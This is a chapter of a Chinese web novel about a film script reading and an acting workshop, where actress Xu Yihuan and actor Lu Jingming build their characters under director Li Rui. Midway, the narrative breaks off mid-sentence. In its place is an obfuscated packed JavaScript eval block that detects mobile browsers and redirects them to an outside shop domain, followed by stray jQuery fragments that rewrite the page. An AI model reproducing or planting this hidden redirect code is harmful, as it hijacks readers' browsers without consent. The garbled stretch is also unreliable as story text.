会议室的门在陆景明身后轻轻合上。


    空气仿佛凝固了一瞬。


    许意欢看着他走向前方的身影，大脑有短暂的空白。


    陆景明？


    《回声》的男主角？


    以陆景明如今的业界地位和演技口碑，李锐导演邀请他并不奇怪。


    但据她所知，陆景明以往的选角明显偏向商业与艺术平衡的大制作，或是能稳固国民度的上星剧。


    《回声》这种极致文艺、注定票房不会太高、旨在冲奖的片子，似乎与他近年来的路线并不完全重合。


    他竟然接了。


    许意欢的目光落在陆景明身上。


    他正走向预留的空位，步履从容，脸上依旧是那种让人如沐春风的微笑，与在场的严肃氛围形成微妙对比。


    他在她斜前方的位置坐下。


    落座时，他的目光不经意地扫过全场，与她的视线有刹那的交汇。


    他几不可察地顿了一下，随即对她露出一个专业而克制的笑容，微微颔首。


    那笑容里没有惊讶，仿佛早已知道她会在这里。


    许意欢也礼貌地回以点头。


    “既然人都到齐了，我们正式开始。”


    李导的声音将许意欢的思绪拉回。


    这位以严苛著称的导演今天穿了件洗得发白的深蓝色夹克，头发花白，眼神却锐利如鹰。


    “在进入剧本之前，我想先说说我对《回声》的理解。”


    李导站起身，走到前方的白板前，拿起马克笔，写下两个词：创伤，救赎。


    “这不是一个关于治愈的故事。”


    他转过身，目光缓缓扫过在场的每一个人，“这是一个关于‘创伤如何成为人的一部分’的故事。陈深，”他看向陆景明，“你演的是一位心理医生，但你治不好自己。你回到这个破败的故乡，不是来拯救谁，你是来寻找——寻找一个能安放你自己破碎灵魂的地方。”


    陆景明专注地听着，眼神沉静。


    “林小雨。”李导的目光转向许意欢。


    许意欢下意识地挺直了背脊。


    “二十岁，被遗弃在乡村的女孩。你不知道自己从哪里来，也不知道要到哪里去。你身上有一种自我毁灭的倾向——不是想死，是觉得‘我这样的人，大概不配好好活着’。”


    李导的语气很平静，却字字敲在许意欢心上，“你要演的，不是‘悲惨’，是那种‘习惯了悲惨’之后的麻木，以及麻木底下，那一点点不肯熄灭的、连自己都不敢承认的‘想活’。”


    许意欢轻轻吸了口气，点头。


    “沈玉兰。”李导最后看向周瑾。


    这位五十多岁的影后安静地坐着，气质沉静如水，只是听着。


    “五十五岁，乡村教师，林小雨的养母。你沉默，坚韧，把一生的伤痛都埋进了这片土地里。你收养小雨，不是出于伟大的母爱，是因为……你看到了她眼睛里那种熟悉的荒芜。”李导的声音低了些，“你和她，是两棵长在废墟里的树，互相依靠，也互相刺痛。”


    周瑾微微颔首，眼神里已经有了沈玉兰的影子。


    “这三个人的关系——”李导在白板上画了一个三角形，在三个顶点分别写下名字，“不是谁拯救谁。是三个受伤的人，在黑暗中摸索，偶尔触碰到彼此，给一点微弱的温度，然后继续各自的挣扎。”


    他放下马克笔，双手撑在桌上。


    “我要的不是‘表演’，是‘成为’。接下来的两周封闭集训，我会把你们打碎，再重新拼起来——拼成陈深、林小雨、沈玉兰。”


    会议室里落针可闻。


    许意欢感到后背微微发凉，却也有一种前所未有的兴奋从心底升起。


    这就是李锐。


    这就是《回声》。


    第一次剧本围读从下午持续到深夜。


    当读到林小雨与陈深在废弃小学教室的第一次对话时，许意欢第一次感受到了陆景明作为“陈深”的份量。


    那场戏是这样的：林小雨偷偷躲在废弃教室里画画，被前来探查旧校舍的陈深偶然发现。


    两人有一段关于“记忆是否可信”的对话。


    许意欢念出台词：“你相信人能完全忘记一件事吗？不是假装忘记，是真的……从脑子里挖掉。”


    她按照自己的理解，语气里带着试探和一丝挑衅。


    按照剧本提示，陈深应该沉默片刻，然后回答。


    但陆景明没有立刻接词。


    他抬起头，看向许意欢——不，是看向“林小雨”。那眼神让许意欢心头一跳。


    那不是心理医生看患者的专业眼神，也不是陌生男人看年轻女孩的打量。


    那是一种……看到同类般的凝视。


    然后，他开口，声音比平时低哑，语速很慢，像在斟酌每个字的重量：


    “我不相信遗忘。”他说，“我相信……掩埋。有些东西太痛了，大脑会把它埋起来，埋得很深，深到自己都找不到。但它还在那里。会在梦里，会在某个味道里，会在你毫无防备的时候……突然爬出来。”


    他顿了顿，补充了一句剧本上没有的台词，声音轻得像叹息：


    “我试过。”


    许意欢愣住了。


    不仅仅是因为这即兴的添加，更是因为他说这三个字时的状态——那不是“演”出来的深沉，而是一种从内里透出的疲惫和坦然。


    李导没有喊停。


    许意欢迅速反应过来，顺着这个情绪接下去：“那……埋起来的东西，会腐烂吗？”


    陆景明看着她，良久，嘴角极轻地扯了一下，那不是一个笑容，更像肌肉无意识的抽动：


    “会。而且腐烂的味道……会渗进土里，渗进你喝的水、呼吸的空气里。你以为埋掉了，其实它变成了你的一部分。”


    围读结束后，李导特意留下了这场戏的讨论。


    “景明，你加的那句‘我试过’，很好。”李导难得地露出了赞许的神色，“陈深不能只是一个观察者、治疗者。他必须是‘受害者’之一，他的专业知识不是武器，是他的绷带——一边试图包扎别人，一边捂着自己流血的伤口。”


    陆景明谦逊地点头：“我是觉得，陈深对林小雨的共情，不能只来自专业训练，应该来自……相似的体验。哪怕创伤的源头不同，但那种‘被什么东西啃噬内心’的感觉，是相通的。”


    李导又看向许意欢：“意欢，你当时的反应很真实。那种被戳中的怔忪，接着追问‘会腐烂吗’，非常好。林小雨对陈深，从一开始就应该有这种直觉般的感应——她能在人群里嗅出同类。”


    许意欢心里微微一动。


    同类。


    她想起研习班时，陆景明说她“太绷着了”，说她眼里有“想证明什么”的急切。


    那时他看到的，是作为演员的许意欢。


    而现在，作为陈深，他看到的是林小雨。


    却依然精准地触到了某种核心。


    —


    集训第二天，李导开始了他的“粉碎计划”。


    上午是肢体解构训练。


    排练厅里铺着厚厚的黑色地胶，所有人都换上了宽松的训练服。


    李导请来的是一位现代舞出身的形体老师，姓苏，气质清冷，话不多。


    “今天，我们不说话。”苏老师的声音很轻，却带着不容置疑的力量，“用身体表达我给出的词。不要思考‘该怎么演’，感受那个词在你身体里激起的第一个反应，然后放大它。”


    第一个词是：“羞耻”。


    许意欢站在人群中，闭上眼睛。


    羞耻。


    很多画面涌上来：穿着不合身礼服站在“澄观”的窘迫；被李总拉扯时的恶心；接受商里湖筹码时指尖的冰凉；还有无数个试镜房间里，被审视、被评判、被轻慢的瞬间……


    她的身体先于意识做出了反应——肩膀向内收紧，脖颈微缩，下巴压低，一只手无意识地抬起，虚虚地挡在胸前，另一只手则垂在身侧，手指蜷起。


    那是一个防御与自我封闭的姿态。


    “好，保持。”苏老师的声音响起，“现在，带着这个身体状态，在空间里行走。不要改变姿势，只是走。”


    许意欢挪动脚步，感觉自己像一只笨拙的、试图缩进壳里的蜗牛。


    视线被迫低垂，只能看到自己的脚尖和一小片地面。世界变得狭窄而压抑。


    她听到周围其他人的脚步声，沉重的、迟疑的、踉跄的。


    “现在，”苏老师又说，“尝试与其他人发生接触——不是语言，是用你现在的身体状态去接触。”


    许意欢感觉到有人靠近。


    她微微抬眼，是陆景明。


    他也保持着“羞耻”的身体姿态：脊背微弓，肩膀下沉，但奇怪的是，他的头并没有低垂，而是平视前方，只是眼神是空的，没有焦点。


    两人靠近，肩膀轻轻相触。


    那一瞬间，许意欢感觉到他身体的紧绷，以及紧绷之下，一种奇异的稳定感。


    他的“羞耻”和她的不同。


    她的羞耻是向内的、自我消化的；他的羞耻似乎更多是……承载着什么，是背负式的。


    两人擦肩而过，没有停留。


    训练继续。


    接下来的词是：“渴望”。


    许意欢的身体几乎立刻给出了反应——脊椎微微拉长，脖颈抬起，视线向上，双手在身侧轻轻张开，指尖微颤。


    那是一个迎接的姿态，像在等待什么东西降临。


    而陆景明的反应则是站在原地不动，然后，缓慢地，单膝跪了下来。


    不是跪拜，而是一种……沉溺。


    他的双手虚虚地环抱在胸前，仿佛拥抱着什么看不见的东西，下巴抵在虚空中，眼睛闭上，喉结滚动了一下。


    那姿态里有渴望，但也有一种近乎痛苦的克制。


    仿佛想要的东西太烫手，不敢真正去握紧。


    苏老师让两人用“渴望”的状态再次接触。


    这次，许意欢走向陆景明。


    她在他的“怀抱”前停下，犹豫了一下，然后慢慢地，将自己虚张的双手，轻轻地覆在了他环抱的虚空之上。


    没有真正的触碰，但两人维持着这个姿势，呼吸在寂静的空间里清晰可闻。


    许意欢能感觉到自己的心跳，也能感觉到——或者说，想象到——陆景明怀抱里那看不见的东西的温度。


    “停。”苏老师的声音打破了寂静。


    许意欢立刻收回手，后退一步，脸颊有些发烫。


    陆景明也睁开了眼，缓缓站起身，神色已经恢复了平静，只是耳根有一抹不易察觉的红。


    李导全程在一旁默默观看，此时才开口：


    “景明，你的‘渴望’里有恐惧。很好，这很陈深，他渴望连接，渴望救赎，但又恐惧靠近，恐惧再次受伤。”


    “意欢，你的‘渴望’要更直接，更纯粹，甚至有点飞蛾扑火的天真。这才符合林小雨，她想要，就伸手去够，哪怕会被灼伤。”


    许意欢默默记下。


    她意识到，这种训练不是在教他们“怎么演”，而是在挖掘他们自身与角色的重合处，然后把那些重合的部分放大、提纯。


    下午是角色沉浸体验。


    许意欢领到的任务是：“三天内，不与他人进行直接的眼神接触。与人交谈时，视线可以落在对方的鼻尖、下巴，或者肩膀后方，但不能看眼睛。”


    这是为了体验林小雨的社交恐惧——她不是不想看人，是不敢。


    眼睛会泄露太多，也会接受太多。


    陆景明的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958078|193222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    任务是：“保持一种温和而疏离的专业距离。即使面对林小雨，也不能流露出超出医生与患者关系的关注。”


    陈深必须克制。


    他的温柔是职业性的，他的关切是有界限的。


    一旦越界，他自己的防线就会崩塌。


    周瑾的任务最简单也最难：“沉默。除非必要，不说话。用眼睛和动作表达。”


    沈玉兰是一个把话都埋进土地里的女人。


    于是，接下来的三天，创作基地里出现了一种奇特的氛围。


    食堂里，许意欢低头吃饭，视线始终落在餐盘上。


    有人与她打招呼，她抬起头，目光礼貌地落在对方耳侧，轻声回应。


    陆景明总是独坐一隅，安静用餐。


    有人与他交谈，他微笑倾听，回答得体，但那种温和里有一种无形的屏障。


    两人偶尔在走廊擦肩而过。


    一次，许意欢正琢磨着一段走路戏——林小雨从田野走回家的状态。


    她走着，不自觉地肩膀又有些紧绷。


    “林小雨。”


    一个压低的声音从身侧传来。


    许意欢脚步一顿，没有转头，但知道是陆景明。


    “你的紧张太外放了。”他的声音很轻，语速平缓，像在陈述一个客观事实，“林小雨的紧张是向内的，是骨头缝里的。试试想象你的身体是一个空壳，里面装着一汪随时会溢出的水，你要很小心地走，才不会洒出来。”


    说完，他便从她身边走过去了，没有停留。


    许意欢怔在原地，咀嚼着他的话。


    空壳……装着水……


    她重新迈步，调整呼吸，想象自己胸腔里、腹腔里都是晃荡的液体，每一步都得稳，都得轻。


    肩膀自然放松了，但整个身体的协调性变了，有种微妙的、易碎的小心翼翼。


    第二天下午，李导看到她在院子里这样走路，远远地喊了一声：“对！就是这个感觉！保持住！”


    许意欢心里一动。


    陆景明那句点拨，精准地撬开了她一直没找到的门。


    —


    三天后的深夜，许意欢在公共休息区修改人物小传。


    剧本围读和训练让她对林小雨有了更深的理解，她需要把新的感悟记录下来。


    休息区只有她一个人，灯光暖黄，窗外是浓郁的春夜。


    她咬着笔杆，反复琢磨一段戏：林小雨雨夜跑向废墟的那场高潮戏。


    剧本上写：“林小雨在雨中奔跑，不是逃离，是奔赴。奔向那个与她内心荒芜匹配的外部世界。”


    但她总觉得差了点什么。那种“奔赴感”，她抓不住。


    “还没睡？”


    清朗的声音从身后传来。


    许意欢转过身，看见陆景明端着保温杯站在不远处。


    他穿着深灰色的连帽卫衣，头发微乱，看起来也是刚结束工作。


    “陆老师。”她下意识地想移开视线，又想起自己的任务，便把目光礼貌地落在他肩膀后方，“在整理一些想法。”


    陆景明点点头，自然地在她对面的单人沙发坐下，拧开保温杯喝了一口。


    空气中飘来淡淡的枸杞和菊花的味道。


    “在想雨夜那场戏？”他问。


    许意欢有些惊讶：“你怎么知道？”


    陆景明笑了笑：“看你在那一页停留很久了，眉头拧得能夹死蚊子。”


    许意欢被他逗得也笑了一下，随即又收敛：“嗯，总觉得‘奔赴’那个状态……我进不去。”


    陆景明沉默了一会儿，似乎在组织语言。


    “我之前看过一个纪录片，”他缓缓开口，“讲的是受创后应激障碍的患者。里面有个退伍老兵，他每天晚上都会梦回战场。最触动我的一个细节是——他描述自己做梦时，不是害怕，而是一种……强烈的‘要回去’的冲动。他说，战场上的痛苦是真实的，但梦里的世界太模糊了，他需要回到那个真实痛苦的地方，才能确认自己还活着。”


    许意欢怔怔地听着。


    “我在想，林小雨跑向废墟，是不是也有点这种意味？”陆景明看向她，目光认真，“那个废墟对她来说，不是一个可怕的地方，而是一个……‘匹配’的地方。外部的破败，正好呼应了她内心的荒芜。在那里，她不用伪装，不用努力显得‘正常’。她可以瘫在那片瓦砾里，和自己内心的废墟融为一体。”


    许意欢的心脏猛地一跳。


    匹配。


    这个词打开了她堵塞的思路。


    是啊，林小雨不是去自我惩罚，也不是去寻求毁灭。


    她是去一个能“安放”她所有不堪的地方。


    一个不需要解释、不需要假装的地方。


    “我好像……有点懂了。”她轻声说，眼神亮了起来。


    陆景明看着她脸上焕发的神采，嘴角也微微扬起：“那就好。”


    两人又就几个表演细节讨论了一会儿。


    陆景明分享了他对陈深某些反应的理解，许意欢也说了自己对林小雨几个习惯动作的设计。


    气氛是纯粹的专业交流，温暖而充实。


    离开时，陆景明走到门口，忽然回头说了一句：


    “许意欢。”


    许意欢抬头看他。


    “你比在研习班的时候，更敢‘放’了。”他笑了笑，“这是好事。”


    说完，他便推门离开了。


    许意欢独自坐在暖黄的灯光里，回味着这句话。


    更敢“放”了。


    是因为离开了那个必须时刻紧绷、计算分寸的世界吗？


    是因为在这里，她可以只是“演员许意欢”，只需要面对角色和表演吗？


    她不知道。


    但此刻，她确实感到一种久违的、纯粹的轻松。